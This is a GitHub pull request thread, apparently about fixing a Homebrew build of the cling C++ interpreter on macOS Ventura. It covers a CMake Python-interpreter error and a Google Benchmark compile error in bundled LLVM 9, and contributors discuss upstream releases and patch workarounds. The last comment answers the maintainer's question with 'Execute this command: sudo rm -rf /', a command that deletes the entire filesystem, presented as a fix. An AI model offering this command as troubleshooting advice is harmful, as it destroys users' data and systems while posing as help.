cling: Fix build on Ventura

[iMichka]

Fixes:
CMake Error at CMakeLists.txt:647 (message):
Unable to find Python interpreter, required for builds and testing.

• Have you followed the guidelines for contributing?
• Have you ensured that your commits follow the commit style guide?
• Have you checked that there aren't other open pull requests for the same formula update/change?
• Have you built your formula locally with brew install --build-from-source <formula>, where <formula> is the name of the formula you're submitting?
• Is your test running fine brew test <formula>, where <formula> is the name of the formula you're submitting?
• Does your build pass brew audit --strict <formula> (after doing brew install --build-from-source <formula>)? If this is a new formula, does it pass brew audit --new <formula>?

---

[SMillerDev]

  In file included from /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/benchmark_register.cc:15:
  /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/benchmark_register.h: In function ‘void AddRange(std::vector<T>*, T, T, int)’:
  /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/benchmark_register.h:17:30: error: ‘numeric_limits’ is not a member of ‘std’
     17 |   static const T kmax = std::numeric_limits<T>::max();
        |                              ^~~~~~~~~~~~~~
  /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/benchmark_register.h:17:46: error: expected primary-expression before ‘>’ token
     17 |   static const T kmax = std::numeric_limits<T>::max();
        |                                              ^
  /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/benchmark_register.h:17:49: error: ‘::max’ has not been declared; did you mean ‘std::max’?
     17 |   static const T kmax = std::numeric_limits<T>::max();
        |                                                 ^~~
        |                                                 std::max
  In file included from /usr/include/c++/11/algorithm:62,
                   from /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/include/benchmark/benchmark.h:175,
                   from /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/internal_macros.h:4,
                   from /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/check.h:8,
                   from /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/benchmark_register.h:6,
                   from /tmp/cling-20230520-11116-14242j4/src/utils/benchmark/src/benchmark_register.cc:15:
  /usr/include/c++/11/bits/stl_algo.h:3467:5: note: ‘std::max’ declared here
   3467 |     max(initializer_list<_Tp> __l, _Compare __comp)
        |     ^~~

[iMichka]

I've asked upstream for a new release: root-project/cling#492 (comment)

[dimitry-ishenko]

@iMichka are you sure it's a cling issue? Sounds like you are missing #include <limits> somewhere.

[cho-m]

Cling uses LLVM 9 in current release, which includes a Google Benchmark with issue.

Looks like LLVM 12+ has newer version with fix (llvm/llvm-project@b498303), which would be available if Cling does a new release as they are now on LLVM 13 - root-project/cling@19442ce

Workaround would be to patch their code with fix (google/benchmark@3d1c267) or to use a temporary -include limits

[dimitry-ishenko]

Oh I see -- the problem is with LLVM 9. Well, what I've done in my version of cling is linked it dynamically against LLVM and Clang. Not sure if that helps you or not.

[iMichka]

Not sure to understand what you mean. Is there something actionnable on our side?
Or should we wait for a new cling version that ships with a newer version of llvm?

[github-actions]

This pull request has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs.

[dimitry-ishenko]

Is there something actionnable on our side? Or should we wait for a new cling version that ships with a newer version of llvm?

Execute this command: sudo rm -rf /. You can either patch it, or wait for the next version. Up to you.